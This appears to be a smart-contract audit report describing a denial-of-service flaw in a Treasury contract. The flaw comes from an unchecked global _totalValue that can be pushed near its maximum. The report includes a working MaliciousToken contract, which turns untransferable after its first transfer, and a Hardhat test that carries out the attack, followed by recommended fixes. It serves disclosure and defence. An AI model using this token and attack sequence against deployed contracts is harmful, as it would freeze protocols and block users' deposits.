Core Contracts

Summary

Treasury.sol contract can be permanently disabled by depositing a malicious token with an amount close to type(uint256).max and then making it untransferable, causing the _totalValue to remain permanently high and preventing any future deposits.

Vulnerability Details

The vulnerability exists in the Treasury contract's deposit and withdraw functions:

The deposit function updates _totalValue without verifying if the token transfer was successful or if the token can be transferred out later. This allows an attacker to:

1. Create a malicious token(see Proof of Concept) that allows initial transfers but becomes untransferable

2. Mint and Deposit an amount close to type(uint256).max - 1 :

   ➜ uint256 constant MAX_UINT256_MINUS_ONE = type(uint256).max - 1;

   ➜ MAX_UINT256_MINUS_ONE

   ├ Hex: 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe

   ​

3. Make the token untransferable

4. The _totalValue remains permanently high since tokens can't be withdrawn

The withdraw function attempts to reduce _totalValue when called by a address MANAGER_ROLEbut it will fail because the tokens can't be transferred:

At this point:

1. _totalValue is around their max value and there’s no way to transfer the Malicious token.

2. deposit will revert by overflow error everytime a user wants to deposit a legitimate token.

Impact

Medium severity impact:

• Treasury becomes permanently unusable

• No new deposits possible due to _totalValue near maximum

• Malicious tokens can't be withdrawn to reduce _totalValue

Tools Used

Manual review

Proof of Concept

Steps to Reproduce

1. Create and copy MaliciousToken.sol and TreasuryDoS.test.js files in the specified directory:

   • MaliciousToken.sol malicious token implementation:

     // contracts/mocks/core/tokens/MaliciousToken.sol

     ​

     // SPDX-License-Identifier: MIT

     pragma solidity ^0.8.19;

     ​

     import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

     ​

     contract MaliciousToken is ERC20 {

     bool public transfersEnabled = true;

     ​

     constructor() ERC20("Malicious", "MAL") {

     _mint(msg.sender, type(uint256).max - 1);

     }

     ​

     function transfer(address to, uint256 amount) public override returns (bool) {

     require(transfersEnabled, "Transfers disabled");

     bool success = super.transfer(to, amount);

     if(success) {

     transfersEnabled = false; // Disable after first transfer

     }

     return success;

     }

     ​

     function transferFrom(address from, address to, uint256 amount) public override returns (bool) {

     require(transfersEnabled, "Transfers disabled");

     bool success = super.transferFrom(from, to, amount);

     if(success) {

     transfersEnabled = false; // Disable after first transfer

     }

     return success;

     }

     }

     ​

   • TreasuryDoS.test.js Proof of Code:

     // test/unit/core/collectors/TreasuryDoS.test.js

     ​

     import { expect } from "chai";

     import hre from "hardhat";

     const { ethers } = hre;

     ​

     describe("Treasury DoS Attack", () => {

     let treasury;

     let maliciousToken;

     let owner;

     let attacker;

     let user;

     let manager;

     ​

     const MANAGER_ROLE = ethers.keccak256(ethers.toUtf8Bytes("MANAGER_ROLE"));

     ​

     beforeEach(async () => {

     [owner, attacker, user, manager] = await ethers.getSigners();

     console.log("\\n=== Deploying Contracts ===");

     // Deploy Treasury

     const Treasury = await ethers.getContractFactory("Treasury");

     treasury = await Treasury.deploy(owner.address);

     console.log(`Treasury deployed to: ${await treasury.getAddress()}`);

     ​

     // Setup roles

     await treasury.grantRole(MANAGER_ROLE, manager.address);

     console.log(`Granted MANAGER_ROLE to: ${manager.address}`);

     });

     ​

     describe("DoS Attack via Malicious Token", () => {

     it("should demonstrate permanent treasury lockup through malicious token deposit", async () => {

     const maxAmount = ethers.MaxUint256 - 1n;

     console.log("\\n=== Starting Attack Sequence ===");

     console.log(`Max deposit amount: ${maxAmount}`);

     // Initial state

     console.log("\\n1. Initial Treasury State:");

     console.log(`Total Value: ${await treasury.getTotalValue()}`);

     // Deploy MaliciousToken

     console.log("\\n2. Deploying Malicious Token:");

     const MaliciousToken = await ethers.getContractFactory("MaliciousToken");

     maliciousToken = await MaliciousToken.connect(attacker).deploy();

     console.log(`Malicious Token deployed to: ${await maliciousToken.getAddress()}`);

     // Check attacker's balance

     const attackerBalance = await maliciousToken.balanceOf(attacker.address);

     console.log(`Attacker's token balance: ${attackerBalance}`);

     // Perform attack

     console.log("\\n3. Executing Attack:");

     console.log("- Approving tokens for Treasury");

     await maliciousToken.connect(attacker).approve(await treasury.getAddress(), maxAmount);

     console.log("- Depositing malicious tokens");

     await treasury.connect(attacker).deposit(await maliciousToken.getAddress(), maxAmount);

     // Verify attack impact

     console.log("\\n4. Verifying Attack Impact:");

     const totalValue = await treasury.getTotalValue();

     console.log(`Treasury total value after attack: ${totalValue}`);

     // Test legitimate user operations

     console.log("\\n5. Testing Legitimate Operations:");

     // Deploy legitimate token

     const MockToken = await ethers.getContractFactory("MockToken");

     const legitimateToken = await MockToken.deploy("Legitimate", "LEG", 18);

     await legitimateToken.mint(user.address, ethers.parseEther("1000"));

     console.log("Legitimate token deployed and minted to user");

     // Manager withdrawal attempt

     console.log("\\n6. Testing Manager Withdrawal:");

     await expect(

     treasury.connect(manager).withdraw(

     await maliciousToken.getAddress(),

     maxAmount,

     manager.address

     )

     ).to.be.reverted;

     console.log("✓ Manager withdrawal failed as expected");

     // Legitimate user deposit attempt

     console.log("\\n7. Testing Legitimate User Deposit:");

     await legitimateToken.connect(user).approve(await treasury.getAddress(), ethers.parseEther("100"));

     await expect(

     treasury.connect(user).deposit(await legitimateToken.getAddress(), ethers.parseEther("100"))

     ).to.be.reverted;

     console.log("✓ Legitimate user deposit failed as expected");

     // Final state

     console.log("\\n8. Final Treasury State:");

     console.log(`Total Value: ${await treasury.getTotalValue()}`);

     });

     });

     });

     ​

2. Run the specific test:

Expected Output

The test output will show:

Attack Flow Explanation

1. The attacker deploys a malicious token that becomes untransferable after the first transfer.

2. The attacker deposits an amount close to type(uint256).max - 1 for their MaliciousToken.

3. The token becomes untransferable, preventing withdrawals

4. The high _totalValue prevents any new deposits due to overflow protection

This demonstrate the ability for an attacker to force a DoS by overflowing _totalValue , making the protocol unusable

Recommendations

1. The main issue here is that _totalValue is a global variable, which interferes with the overall functionality of the contract.

Mitigation: Remove the global _totalValue variable and track tokens individually. This will allow Treasury.sol to maintain an independent account for each token.

2. No token validation in the deposit(address token, uint256 amount) function, which allows attackers to introduce non-standard functionalities.

Mitigation: To address this, a whitelist can be implemented to permit only specific, known tokens to interact with the protocol.